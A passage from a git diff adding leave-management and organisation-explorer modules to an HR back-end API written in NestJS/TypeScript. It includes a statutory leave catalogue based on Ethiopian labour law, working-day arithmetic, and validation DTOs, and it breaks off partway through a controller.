(scope && request.organizationId !== scope) { + throw new NotFoundException(`Leave request ${id} not found`); + } + return request; + } +} diff --git a/apps/edr-hr-api/src/modules/leave/services/leave-settings.service.ts b/apps/edr-hr-api/src/modules/leave/services/leave-settings.service.ts new file mode 100644 index 000000000..69a5e6310 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/services/leave-settings.service.ts @@ -0,0 +1,99 @@ +import { BadRequestException, Injectable } from "@nestjs/common"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { LeaveSettingsRepository } from "../repositories/leave-settings.repository"; +import { LeaveSettings } from "../entities/leave-settings.entity"; +import { UpdateLeaveSettingsDto } from "../dto/leave-settings.dto"; + +/** + * Defaults for an organization that has never configured leave. + * + * These are read but not written: a row is only created when somebody actually + * changes something, so "never configured" stays distinguishable from + * "configured, and happens to match the defaults". + */ +export const DEFAULT_LEAVE_SETTINGS = { + leaveYearBasis: "FISCAL_YEAR", + fiscalYearStartMonth: 7, + fiscalYearStartDay: 8, + weekendDays: [0], + carryOverDeadlineMonths: 6, + allowNegativeBalance: false, + statuteReference: "LABOUR_PROCLAMATION_1156_2019", +} as const; + +@Injectable() +export class LeaveSettingsService { + constructor(private readonly settingsRepository: LeaveSettingsRepository) {} + + /** Stored settings, or the defaults presented as if they were stored. */ + async resolve(organizationId: string): Promise { + const stored = await this.settingsRepository.findByOrganization(organizationId); + if (stored) return stored; + return { + ...DEFAULT_LEAVE_SETTINGS, + weekendDays: [...DEFAULT_LEAVE_SETTINGS.weekendDays], + organizationId, + id: "", + } as unknown as LeaveSettings; + } + + async find(actor: ActorContext): Promise { + const organizationId = this.requireOrg(actor); + return this.resolve(organizationId); + } + + async update( + dto: UpdateLeaveSettingsDto, + actor: ActorContext, + ): Promise { + const organizationId = this.requireOrg(actor); + + if (dto.weekendDays) { + // Seven weekend days would make every leave request zero days long and + // `addWorkingDays` never terminate; the service bounds that loop, but the + // configuration is nonsense either way. + if (dto.weekendDays.length >= 7) { + throw new BadRequestException( + "At least one day of the week must be a working day", + ); + } + if (new Set(dto.weekendDays).size !== dto.weekendDays.length) { + throw new BadRequestException("weekendDays contains duplicates"); + } + } + + const existing = await this.settingsRepository.findByOrganization(organizationId); + if (existing) { + return ( + (await this.settingsRepository.update(existing.id, { + ...dto, + updatedBy: actor.userId, + })) ?? existing + ); + } + + return this.settingsRepository.create({ + ...DEFAULT_LEAVE_SETTINGS, + weekendDays: [...DEFAULT_LEAVE_SETTINGS.weekendDays], + ...dto, + organizationId, + createdBy: actor.userId, + } as Partial); + } + + /** + * Leave policy is per organization, and a super admin with no employee record + * has none. Better an explicit error than settings filed under an empty id. + */ + private requireOrg(actor: ActorContext): string { + const organizationId = orgScope(actor) ?? actor.organizationId; + if (!organizationId) { + throw new BadRequestException( + "This account has no organization, and leave settings belong to one. " + + "Sign in with a staff account.", + ); + } + return organizationId; + } +} diff --git a/apps/edr-hr-api/src/modules/leave/services/leave-types.service.ts b/apps/edr-hr-api/src/modules/leave/services/leave-types.service.ts new file mode 100644 index 000000000..34367aa8f --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/services/leave-types.service.ts @@ -0,0 +1,205 @@ +import { + BadRequestException, + ConflictException, + Injectable, + NotFoundException, +} from "@nestjs/common"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { Paginated, paginate } from "../../../common/pagination.dto"; +import { LeaveTypesRepository } from "../repositories/leave-types.repository"; +import { EAccrualMethod, LeaveType } from "../entities/leave-type.entity"; +import { CreateLeaveTypeDto, UpdateLeaveTypeDto } from "../dto/leave-type.dto"; +import { STATUTORY_LEAVE_TYPES } from "../statutory-leave-types"; + +@Injectable() +export class LeaveTypesService { + constructor(private readonly leaveTypesRepository: LeaveTypesRepository) {} + + /** + * Entitlement for a given length of service, in days. + * + * 1156/2019 Art. 77: sixteen working days for the first year, one more for + * every two further years. Expressed as `base + floor(years / period) * extra` + * so the same expression also carries 1064/2017's one-per-year, and any + * employer scheme that is more generous than either. + */ + static entitlementFor(type: LeaveType, completedServiceYears: number): number { + const base = Number(type.baseDaysPerYear); + if (type.accrualMethod === EAccrualMethod.NONE) return 0; + + const extra = Number(type.extraDaysPerPeriod); + const period = type.servicePeriodYears; + const grown = + extra > 0 && period > 0 + ? base + Math.floor(Math.max(0, completedServiceYears) / period) * extra + : base; + + const cap = type.maxDaysPerYear === null || type.maxDaysPerYear === undefined + ? null + : Number(type.maxDaysPerYear); + return cap === null ? grown : Math.min(grown, cap); + } + + async create(dto: CreateLeaveTypeDto, actor: ActorContext): Promise { + const organizationId = this.requireOrg(actor); + + const clash = await this.leaveTypesRepository.findByCode( + organizationId, + dto.code, + ); + if (clash) { + throw new ConflictException(`Leave type code ${dto.code} already exists`); + } + + LeaveTypesService.assertCoherent(dto); + + return this.leaveTypesRepository.create({ + ...dto, + organizationId, + createdBy: actor.userId, + } as Partial); + } + + async update( + id: string, + dto: UpdateLeaveTypeDto, + actor: ActorContext, + ): Promise { + const type = await this.requireType(id, orgScope(actor)); + + if (dto.code && dto.code !== type.code) { + // Checked against the TYPE's organization, not the caller's — for a super + // admin editing another organization's catalogue those differ. + const clash = await this.leaveTypesRepository.findByCode( + type.organizationId, + dto.code, + ); + if (clash) { + throw new ConflictException(`Leave type code ${dto.code} already exists`); + } + } + + LeaveTypesService.assertCoherent({ ...type, ...dto } as CreateLeaveTypeDto); + + return (await this.leaveTypesRepository.update(id, { + ...dto, + updatedBy: actor.userId, + })) ?? type; + } + + async findAll( + filters: { search?: string; isActive?: boolean; page?: number; limit?: number }, + actor: ActorContext, + ): Promise> { + const [items, total] = await this.leaveTypesRepository.findPage( + orgScope(actor), + filters, + ); + return paginate(items, total, filters.page ?? 1, filters.limit ?? 25); + } + + findOne(id: string, actor: ActorContext): Promise { + return this.requireType(id, orgScope(actor)); + } + + /** + * Deactivating is the supported way to retire a type. Deleting one that has + * been taken would orphan the requests and balances that reference it, and + * those are read by payroll and by the leave-liability report. + */ + async remove(id: string, actor: ActorContext): Promise { + const type = await this.requireType(id, orgScope(actor)); + await this.leaveTypesRepository.softDelete(type.id); + } + + /** + * Seed an organization's catalogue from the statutory set. + * + * Idempotent by code: existing types are left exactly as they are, because an + * employer who has edited "16 days" to "20" must not have that overwritten by + * running the seed again. + */ + async seedStatutory( + actor: ActorContext, + ): Promise<{ created: string[]; skipped: string[] }> { + const organizationId = this.requireOrg(actor); + const created: string[] = []; + const skipped: string[] = []; + + for (const seed of STATUTORY_LEAVE_TYPES) { + const existing = await this.leaveTypesRepository.findByCode( + organizationId, + seed.code, + ); + if (existing) { + skipped.push(seed.code); + continue; + } + await this.leaveTypesRepository.create({ + ...seed, + organizationId, + createdBy: actor.userId, + } as unknown as Partial); + created.push(seed.code); + } + + return { created, skipped }; + } + + /** Rules that the database CHECK constraints cannot express on their own. */ + private static assertCoherent(dto: Partial): void { + const base = Number(dto.baseDaysPerYear ?? 0); + const cap = + dto.maxDaysPerYear === null || dto.maxDaysPerYear === undefined + ? null + : Number(dto.maxDaysPerYear); + + if (cap !== null && cap < base) { + throw new BadRequestException( + "maxDaysPerYear cannot be below baseDaysPerYear — the entitlement would " + + "be capped below its own starting value", + ); + } + + const carryOver = Number(dto.maxCarryOverDays ?? 0); + if (cap !== null && carryOver > cap) { + throw new BadRequestException( + "maxCarryOverDays cannot exceed maxDaysPerYear", + ); + } + + if ( + dto.accrualMethod === EAccrualMethod.NONE && + (base > 0 || Number(dto.extraDaysPerPeriod ?? 0) > 0) + ) { + throw new BadRequestException( + "An accrualMethod of NONE means no balance is tracked, so the day " + + "figures must be zero. Use ANNUAL_ENTITLEMENT if it should accrue.", + ); + } + } + + private requireOrg(actor: ActorContext): string { + const organizationId = orgScope(actor) ?? actor.organizationId; + if (!organizationId) { + throw new BadRequestException( + "This account has no organization, and leave types belong to one. " + + "Sign in with a staff account.", + ); + } + return organizationId; + } + + /** `organizationId: null` = no scoping (super admin). */ + private async requireType( + id: string, + organizationId: string | null, + ): Promise { + const type = await this.leaveTypesRepository.findById(id); + if (!type || (organizationId && type.organizationId !== organizationId)) { + throw new NotFoundException(`Leave type ${id} not found`); + } + return type; + } +} diff --git a/apps/edr-hr-api/src/modules/leave/services/working-days.service.ts b/apps/edr-hr-api/src/modules/leave/services/working-days.service.ts new file mode 100644 index 000000000..64bbbc4ab --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/services/working-days.service.ts @@ -0,0 +1,175 @@ +import { Injectable } from "@nestjs/common"; +import { InjectDataSource } from "@nestjs/typeorm"; +import { DataSource } from "typeorm"; + +import { ELeaveYearBasis, LeaveSettings } from "../entities/leave-settings.entity"; + +/** A half-open date range, both ends inclusive, as `YYYY-MM-DD`. */ +export interface DateRange { + start: string; + end: string; +} + +/** + * Dates are handled as `YYYY-MM-DD` strings throughout, never as `Date`. + * + * This is not fussiness. A `date` column hydrated by pg becomes a `Date` at UTC + * midnight, and in UTC+3 that renders as the previous day — the bug already hit + * `hireDate` once in this module. Leave arithmetic is calendar arithmetic, has + * no time component, and no time zone should ever get near it. + */ +const MS_PER_DAY = 86_400_000; + +const toUtc = (iso: string): number => Date.parse(`${iso}T00:00:00Z`); + +const fromUtc = (ms: number): string => new Date(ms).toISOString().slice(0, 10); + +export const addDays = (iso: string, days: number): string => + fromUtc(toUtc(iso) + days * MS_PER_DAY); + +export const daysBetween = (start: string, end: string): number => + Math.round((toUtc(end) - toUtc(start)) / MS_PER_DAY); + +/** + * Add whole years, clamping 29 February to 28 February in a non-leap year. + * Without the clamp `2024-02-29` plus one year is `2025-03-01`, which shifts an + * employee's whole leave year by a day for the rest of their service. + */ +export const addYears = (iso: string, years: number): string => { + const [year, month, day] = iso.split("-").map(Number); + const target = year + years; + const lastDay = new Date(Date.UTC(target, month, 0)).getUTCDate(); + const clamped = Math.min(day, lastDay); + return `${target}-${String(month).padStart(2, "0")}-${String(clamped).padStart(2, "0")}`; +}; + +/** `0` = Sunday … `6` = Saturday, matching `leave_settings.weekend_days`. */ +export const dayOfWeek = (iso: string): number => new Date(toUtc(iso)).getUTCDay(); + +@Injectable() +export class WorkingDaysService { + constructor(@InjectDataSource() private readonly dataSource: DataSource) {} + + /** + * Non-working dates in a range: national holidays plus this organization's own. + * + * One query per range rather than one per day — a 120-day maternity leave + * would otherwise be 120 round trips. `is_working_day` holidays are excluded + * here: they are recorded for the calendar but the office stays open. + */ + async holidayDates( + organizationId: string | null, + range: DateRange, + ): Promise> { + const rows = await this.dataSource.query<{ observedOn: string }[]>( + `SELECT to_char("observed_on", 'YYYY-MM-DD') AS "observedOn" + FROM hr.holidays + WHERE "deleted_at" IS NULL + AND "is_working_day" = false + AND "observed_on" BETWEEN $1::date AND $2::date + AND ("organization_id" IS NULL OR "organization_id" = $3::uuid)`, + [range.start, range.end, organizationId], + ); + return new Set(rows.map((row) => row.observedOn)); + } + + /** + * Working days in an inclusive range. + * + * Used for leave types counted in working days. Types counted in calendar days + * (maternity, bereavement) do not come through here at all — see + * `countCalendarDays`. + */ + async countWorkingDays( + range: DateRange, + weekendDays: number[], + organizationId: string | null, + ): Promise { + if (daysBetween(range.start, range.end) < 0) return 0; + const holidays = await this.holidayDates(organizationId, range); + const weekend = new Set(weekendDays); + + let count = 0; + for ( + let cursor = range.start; + daysBetween(cursor, range.end) >= 0; + cursor = addDays(cursor, 1) + ) { + if (weekend.has(dayOfWeek(cursor))) continue; + if (holidays.has(cursor)) continue; + count += 1; + } + return count; + } + + /** Inclusive calendar-day count — maternity's 120 run straight through. */ + static countCalendarDays(range: DateRange): number { + const span = daysBetween(range.start, range.end); + return span < 0 ? 0 : span + 1; + } + + /** + * The date `days` working days after `start`, for "back at work on…". + * Bounded so a mis-set weekend array (every day a weekend) cannot spin. + */ + async addWorkingDays( + start: string, + days: number, + weekendDays: number[], + organizationId: string | null, + ): Promise { + if (days <= 0) return start; + const horizon = addDays(start, Math.ceil(days * 3) + 30); + const holidays = await this.holidayDates(organizationId, { + start, + end: horizon, + }); + const weekend = new Set(weekendDays); + + let remaining = days; + let cursor = start; + while (remaining > 0 && daysBetween(cursor, horizon) > 0) { + cursor = addDays(cursor, 1); + if (weekend.has(dayOfWeek(cursor))) continue; + if (holidays.has(cursor)) continue; + remaining -= 1; + } + return cursor; + } + + /** + * The leave year containing `on`. + * + * `HIRE_ANNIVERSARY` needs the employee's hire date; without one it falls back + * to the fiscal year rather than guessing, so a missing hire date produces a + * defensible answer instead of a wrong one. + */ + static leaveYearFor( + on: string, + settings: Pick< + LeaveSettings, + "leaveYearBasis" | "fiscalYearStartMonth" | "fiscalYearStartDay" + >, + hireDate?: string | null, + ): DateRange { + const year = Number(on.slice(0, 4)); + + if (settings.leaveYearBasis === ELeaveYearBasis.CALENDAR_YEAR) { + return { start: `${year}-01-01`, end: `${year}-12-31` }; + } + + if (settings.leaveYearBasis === ELeaveYearBasis.HIRE_ANNIVERSARY && hireDate) { + const anniversary = `${year}-${hireDate.slice(5)}`; + const start = anniversary <= on ? anniversary : `${year - 1}-${hireDate.slice(5)}`; + return { start, end: addDays(addYears(start, 1), -1) }; + } + + const pad = (value: number) => String(value).padStart(2, "0"); + const opening = `${pad(settings.fiscalYearStartMonth)}-${pad( + settings.fiscalYearStartDay, + )}`; + const thisYear = `${year}-${opening}`; + const start = thisYear <= on ? thisYear : `${year - 1}-${opening}`; + return { start, end: addDays(addYears(start, 1), -1) }; + } +} diff --git a/apps/edr-hr-api/src/modules/leave/statutory-leave-types.ts b/apps/edr-hr-api/src/modules/leave/statutory-leave-types.ts new file mode 100644 index 000000000..f4f4de84b --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/statutory-leave-types.ts @@ -0,0 +1,199 @@ +import { + EAccrualMethod, + EGenderRestriction, +} from "./entities/leave-type.entity"; + +/** + * The statutory leave catalogue under **Labour Proclamation No. 1156/2019**, + * which governs EDR as a share company. + * + * This is a seed, not a rule engine. Every figure lands in a column an employer + * can edit, and `statuteReference` records where the default came from so a + * later change is visibly a departure from the statute rather than a typo. + * + * A civil-service employer under Proclamation 1064/2017 wants a different set — + * 20 annual days growing by one each year to a ceiling of 30 — which is this + * same shape with different numbers, not different code. + * + * Deliberately NOT modelled here: sick leave's sliding pay scale (Art. 86 — + * first month at full pay, the next two at half, the remainder unpaid). That is + * a payroll rate, not a leave balance, and it belongs to Module 3.4 where the + * payslip is calculated. What this type carries is the six-month ceiling on + * duration, which is a leave rule. + */ +export const STATUTORY_LEAVE_TYPES = [ + { + code: "ANNUAL", + name: { am: "አመታዊ ፈቃድ", en: "Annual leave" }, + description: { + am: "በዓመት አስራ ስድስት የስራ ቀናት፣ በየሁለት ዓመቱ አንድ ቀን ይጨመራል።", + en: "Sixteen working days a year, growing by one day for every two further years of service.", + }, + isPaid: true, + accrualMethod: EAccrualMethod.ANNUAL_ENTITLEMENT, + baseDaysPerYear: "16.00", + extraDaysPerPeriod: "1.00", + servicePeriodYears: 2, + maxDaysPerYear: null, + maxCarryOverDays: "16.00", + maxConsecutiveDays: null, + minServiceMonths: 12, + genderRestriction: EGenderRestriction.ANY, + countsWorkingDaysOnly: true, + allowsHalfDay: true, + requiresAttachmentAfter: null, + requiresApproval: true, + statuteReference: "Proc. 1156/2019 Art. 77", + sortOrder: 10, + }, + { + code: "SICK", + name: { am: "የህመም ፈቃድ", en: "Sick leave" }, + description: { + am: "በአስራ ሁለት ወራት ውስጥ እስከ ስድስት ወር። ከሶስት ቀን በላይ የህክምና ማስረጃ ያስፈልጋል።", + en: "Up to six months within any twelve. A medical certificate is required beyond three days.", + }, + isPaid: true, + accrualMethod: EAccrualMethod.ANNUAL_ENTITLEMENT, + // Six months of a six-day week, counted in working days. + baseDaysPerYear: "156.00", + extraDaysPerPeriod: "0.00", + servicePeriodYears: 0, + maxDaysPerYear: "156.00", + maxCarryOverDays: "0.00", + maxConsecutiveDays: "156.00", + // Art. 85: sick leave opens once probation is served. + minServiceMonths: 3, + genderRestriction: EGenderRestriction.ANY, + countsWorkingDaysOnly: true, + allowsHalfDay: false, + requiresAttachmentAfter: "3.00", + requiresApproval: true, + statuteReference: "Proc. 1156/2019 Art. 85-86", + sortOrder: 20, + }, + { + code: "MATERNITY", + name: { am: "የወሊድ ፈቃድ", en: "Maternity leave" }, + description: { + am: "አንድ መቶ ሀያ ተከታታይ ቀናት፤ ሰላሳ ከወሊድ በፊት፣ ዘጠና ከወሊድ በኋላ።", + en: "One hundred and twenty consecutive days — thirty before the birth and ninety after.", + }, + isPaid: true, + accrualMethod: EAccrualMethod.ANNUAL_ENTITLEMENT, + baseDaysPerYear: "120.00", + extraDaysPerPeriod: "0.00", + servicePeriodYears: 0, + maxDaysPerYear: "120.00", + maxCarryOverDays: "0.00", + maxConsecutiveDays: "120.00", + minServiceMonths: 0, + genderRestriction: EGenderRestriction.FEMALE, + // Consecutive calendar days: the 120 run through weekends and holidays. + countsWorkingDaysOnly: false, + allowsHalfDay: false, + requiresAttachmentAfter: "0.00", + requiresApproval: true, + statuteReference: "Proc. 1156/2019 Art. 88", + sortOrder: 30, + }, + { + code: "PATERNITY", + name: { am: "የአባትነት ፈቃድ", en: "Paternity leave" }, + description: { + am: "ሶስት ተከታታይ የስራ ቀናት ከክፍያ ጋር።", + en: "Three consecutive working days with pay.", + }, + isPaid: true, + accrualMethod: EAccrualMethod.ANNUAL_ENTITLEMENT, + baseDaysPerYear: "3.00", + extraDaysPerPeriod: "0.00", + servicePeriodYears: 0, + maxDaysPerYear: "3.00", + maxCarryOverDays: "0.00", + maxConsecutiveDays: "3.00", + minServiceMonths: 0, + genderRestriction: EGenderRestriction.MALE, + countsWorkingDaysOnly: true, + allowsHalfDay: false, + requiresAttachmentAfter: null, + requiresApproval: true, + statuteReference: "Proc. 1156/2019 Art. 88(5)", + sortOrder: 40, + }, + { + code: "MARRIAGE", + name: { am: "የጋብቻ ፈቃድ", en: "Marriage leave" }, + description: { + am: "ሶስት የስራ ቀናት ከክፍያ ጋር።", + en: "Three working days with pay.", + }, + isPaid: true, + accrualMethod: EAccrualMethod.ANNUAL_ENTITLEMENT, + baseDaysPerYear: "3.00", + extraDaysPerPeriod: "0.00", + servicePeriodYears: 0, + maxDaysPerYear: "3.00", + maxCarryOverDays: "0.00", + maxConsecutiveDays: "3.00", + minServiceMonths: 0, + genderRestriction: EGenderRestriction.ANY, + countsWorkingDaysOnly: true, + allowsHalfDay: false, + requiresAttachmentAfter: null, + requiresApproval: true, + statuteReference: "Proc. 1156/2019 Art. 81(1)(a)", + sortOrder: 50, + }, + { + code: "BEREAVEMENT", + name: { am: "የሐዘን ፈቃድ", en: "Bereavement leave" }, + description: { + am: "ለቤተሰብ ሞት ሶስት ተከታታይ ቀናት ከክፍያ ጋር።", + en: "Three consecutive days with pay on the death of a family member.", + }, + isPaid: true, + accrualMethod: EAccrualMethod.ANNUAL_ENTITLEMENT, + baseDaysPerYear: "3.00", + extraDaysPerPeriod: "0.00", + servicePeriodYears: 0, + maxDaysPerYear: "3.00", + maxCarryOverDays: "0.00", + maxConsecutiveDays: "3.00", + minServiceMonths: 0, + genderRestriction: EGenderRestriction.ANY, + countsWorkingDaysOnly: false, + allowsHalfDay: false, + requiresAttachmentAfter: null, + // Taken at the time and recorded after — requiring prior approval for a + // bereavement would mean refusing people the day they need it. + requiresApproval: false, + statuteReference: "Proc. 1156/2019 Art. 81(1)(b)", + sortOrder: 60, + }, + { + code: "UNPAID", + name: { am: "ያለክፍያ ፈቃድ", en: "Unpaid leave" }, + description: { + am: "በስምምነት የሚሰጥ ያለክፍያ ፈቃድ።", + en: "Leave without pay, granted at the employer's discretion.", + }, + isPaid: false, + // No entitlement to track: each grant is its own decision. + accrualMethod: EAccrualMethod.NONE, + baseDaysPerYear: "0.00", + extraDaysPerPeriod: "0.00", + servicePeriodYears: 0, + maxDaysPerYear: null, + maxCarryOverDays: "0.00", + maxConsecutiveDays: null, + minServiceMonths: 0, + genderRestriction: EGenderRestriction.ANY, + countsWorkingDaysOnly: true, + allowsHalfDay: true, + requiresAttachmentAfter: null, + requiresApproval: true, + statuteReference: null, + sortOrder: 90, + }, +] as const; diff --git a/apps/edr-hr-api/src/modules/me/me.controller.ts b/apps/edr-hr-api/src/modules/me/me.controller.ts new file mode 100644 index 000000000..e59160ab9 --- /dev/null +++ b/apps/edr-hr-api/src/modules/me/me.controller.ts @@ -0,0 +1,36 @@ +import { Controller, Get, UseGuards } from "@nestjs/common"; +import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger"; +import { JwtGuard } from "@tria-plc/api-common/modules/auth/services/jwt.guard"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +/** + * Who the caller is, according to THIS app's guard. + * + * hr-api issues no tokens — login happens wherever the IAM auth controller is + * hosted. But the frontend needs the permission set to gate its UI, and asking + * the issuing service for it would hard-wire the frontend to whichever service + * that is today. + * + * Instead it asks hr-api, which already resolves the session on every request: + * JwtGuard reads `iam.sessions."userInfo"` and attaches it. So this returns + * exactly the identity hr-api will enforce with — no second source of truth, and + * the frontend needs only a login URL, not a whole auth API. + * + * Deliberately NOT behind HrPermissionGuard: a signed-in user with no HR + * permissions at all must still be able to discover that, or they cannot be + * shown a meaningful "you have no access" screen. + */ +@ApiTags("me") +@ApiBearerAuth() +@Controller("me") +@UseGuards(JwtGuard) +export class MeController { + @Get() + @ApiOperation({ + summary: "The signed-in user, with the permission set hr-api enforces on", + }) + me(@CurrentUser() user: TCurrentUser): TCurrentUser { + return user; + } +} diff --git a/apps/edr-hr-api/src/modules/me/me.module.ts b/apps/edr-hr-api/src/modules/me/me.module.ts new file mode 100644 index 000000000..27b2b11ff --- /dev/null +++ b/apps/edr-hr-api/src/modules/me/me.module.ts @@ -0,0 +1,6 @@ +import { Module } from "@nestjs/common"; + +import { MeController } from "./me.controller"; + +@Module({ controllers: [MeController] }) +export class MeModule {} diff --git a/apps/edr-hr-api/src/modules/org-explorer/dto/org-write.dto.ts b/apps/edr-hr-api/src/modules/org-explorer/dto/org-write.dto.ts new file mode 100644 index 000000000..91cde7346 --- /dev/null +++ b/apps/edr-hr-api/src/modules/org-explorer/dto/org-write.dto.ts @@ -0,0 +1,209 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsBoolean, + IsDateString, + IsEmail, + IsEnum, + IsInt, + IsOptional, + IsString, + IsUUID, + Matches, + Max, + MaxLength, + Min, + ValidateNested, +} from "class-validator"; + +import { + LocalizedNameDto, +} from "../../employees/dto/create-employee-profile.dto"; +import { EEmploymentType } from "../../employees/entities/employee-profile.entity"; + +export class CreateUnitDto { + @ApiProperty({ type: LocalizedNameDto }) + @ValidateNested() + @Type(() => LocalizedNameDto) + name!: LocalizedNameDto; + + @ApiProperty({ description: "Unique per organization." }) + @IsString() + @MaxLength(120) + @Matches(/^[A-Za-z0-9_-]+$/, { + message: "key must contain only letters, digits, underscore and dash", + }) + key!: string; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + parentUnitId?: string; +} + +export class MoveUnitDto { + @ApiProperty({ + format: "uuid", + description: + "The unit's new parent. IAM moves the whole subtree — every unit and person beneath it goes too.", + }) + @IsUUID() + newParentUnitId!: string; +} + +export class CreatePositionDto { + @ApiProperty({ type: LocalizedNameDto }) + @ValidateNested() + @Type(() => LocalizedNameDto) + name!: LocalizedNameDto; + + @ApiProperty() + @IsString() + @MaxLength(160) + key!: string; + + @ApiProperty({ format: "uuid", description: "iam.units.id this post sits in" }) + @IsUUID() + unitId!: string; + + @ApiPropertyOptional({ + format: "uuid", + description: "Reports to. Omit to make it a root of the unit's chart.", + }) + @IsOptional() + @IsUUID() + parentPositionId?: string; + + @ApiPropertyOptional({ minimum: 1, maximum: 100, default: 1 }) + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(1) + @Max(100) + rank?: number; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + positionTypeId?: string; + + // ── HR headcount, created in the same request ── + @ApiPropertyOptional({ + minimum: 0, + maximum: 10000, + description: + "Creates the HR headcount record alongside the position. Omit for a post with no budget yet.", + }) + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(0) + @Max(10000) + budgetedCount?: number; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + jobTitleId?: string; + + @ApiPropertyOptional({ default: false }) + @IsOptional() + @IsBoolean() + isOpen?: boolean; +} + +export class ChangePositionParentDto { + @ApiPropertyOptional({ + format: "uuid", + description: "New parent, or null to promote the post to a root.", + nullable: true, + }) + @IsOptional() + @IsUUID() + newParentId?: string | null; +} + +export class AssignEmployeeDto { + @ApiProperty({ format: "uuid", description: "iam.employees.id to place in this post" }) + @IsUUID() + employeeId!: string; +} + +export class DelegatePositionDto { + @ApiPropertyOptional({ + format: "uuid", + description: "Who receives the delegation. Omit to let IAM resolve the delegate.", + }) + @IsOptional() + @IsUUID() + employeeId?: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + startDate?: string; + + @ApiPropertyOptional({ + format: "date", + description: "Delegations are time-boxed; without an end date it runs until ended by hand.", + }) + @IsOptional() + @IsDateString() + endDate?: string; +} + +/** + * One hire: IAM user + employee + position assignment + HR profile. + * + * IAM's `inviteNewEmployee` does the first three in a single call, so this DTO + * carries its fields plus the HR facts a profile needs. Employment type and + * hire date are asked for here precisely because auto-provisioning has to guess + * them — a real hire should not inherit a guess. + */ +export class HireEmployeeDto { + @ApiProperty({ type: LocalizedNameDto }) + @ValidateNested() + @Type(() => LocalizedNameDto) + name!: LocalizedNameDto; + + @ApiProperty() + @IsString() + @MaxLength(64) + username!: string; + + @ApiProperty() + @IsEmail() + @MaxLength(128) + email!: string; + + @ApiProperty({ description: "E.164, e.g. +251911000000" }) + @IsString() + @MaxLength(32) + phoneNumber!: string; + + @ApiProperty({ + enum: ["PERMANENT", "CONTRACT", "INTERN", "PART_TIME", "SECONDED"], + }) + @IsEnum(EEmploymentType) + employmentType!: EEmploymentType; + + @ApiProperty({ format: "date" }) + @IsDateString() + hireDate!: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + probationEndDate?: string; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + jobTitleId?: string; + + @ApiPropertyOptional({ maxLength: 64 }) + @IsOptional() + @IsString() + @MaxLength(64) + employeeNumber?: string; +} diff --git a/apps/edr-hr-api/src/modules/org-explorer/org-explorer.controller.ts b/apps/edr-hr-api/src/modules/org-explorer/org-explorer.controller.ts new file mode 100644 index 000000000..7302bb563 --- /dev/null +++ b/apps/edr-hr-api/src/modules/org-explorer/org-explorer.controller.ts @@ -0,0 +1,242 @@ +import { + Body, + Controller, + Get, + Param, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../common/hr-guards"; +import { actorFrom } from "../../common/current-actor.util"; +import { IAM_PERMS } from "../../seed/hr-permissions.registry"; +import { OrgExplorerService } from "./org-explorer.service"; +import { + AssignEmployeeDto, + ChangePositionParentDto, + CreatePositionDto, + CreateUnitDto, + DelegatePositionDto, + HireEmployeeDto, + MoveUnitDto, +} from "./dto/org-write.dto"; + +/** + * Read side of the organisation explorer. + * + * Gated on IAM's OWN permission keys rather than HR-specific ones. These are + * IAM operations on IAM data; minting a parallel HR key would mean a user could + * hold the HR key, see an enabled control, and then be refused by IAM with a key + * name they have never seen. One key, checked once. + */ +@ApiTags("org-explorer") +@ApiBearerAuth() +@Controller("org") +@HrStaff([IAM_PERMS.unit.create, IAM_PERMS.unit.update, IAM_PERMS.org.findAll]) +export class OrgExplorerController { + constructor(private readonly orgExplorer: OrgExplorerService) {} + + @Get("tree") + @HrStaff(IAM_PERMS.org.findAll) + @ApiOperation({ + summary: "The unit tree, nested, with staff and position counts", + description: + "Counts roll up: totalEmployeeCount includes every descendant unit. " + + "The HR overlay (cost centre, headcount budget) is joined on per node.", + }) + tree(@CurrentUser() user: TCurrentUser) { + return this.orgExplorer.findTree(actorFrom(user)); + } + + @Get("positions/tree") + @HrStaff(IAM_PERMS.org.findAll) + @ApiOperation({ + summary: "The position hierarchy, nested — this platform's real org chart", + description: + "Units are flat here (0 of 35 have a parent); the structure lives in " + + "iam.positions.parent_position_id, 7 levels deep. Optional ?unitId= " + + "narrows to one unit. holderCount is current non-delegate holders; " + + "totalHolderCount includes every post beneath.", + }) + positionTree( + @CurrentUser() user: TCurrentUser, + @Query("unitId") unitId?: string, + ) { + return this.orgExplorer.findPositionTree(actorFrom(user), unitId); + } + + @Get("units/:unitId") + @HrStaff(IAM_PERMS.org.findAll) + @ApiOperation({ + summary: "One unit: its children, its positions, and its current staff", + }) + unit( + @Param("unitId", ParseUUIDPipe) unitId: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.orgExplorer.findUnitDetail(unitId, actorFrom(user)); + } + + // ── Writes ─────────────────────────────────────────────────────────────── + + @Post("units") + @HrStaff(IAM_PERMS.unit.create) + @ApiOperation({ + summary: "Create a unit", + description: + "The organization comes from the parent unit when one is given, so a unit cannot be created into another tenant.", + }) + createUnit(@Body() dto: CreateUnitDto, @CurrentUser() user: TCurrentUser) { + return this.orgExplorer.createUnit(dto, actorFrom(user), user); + } + + @Patch("units/:unitId/move") + @HrStaff(IAM_PERMS.unit.update) + @ApiOperation({ + 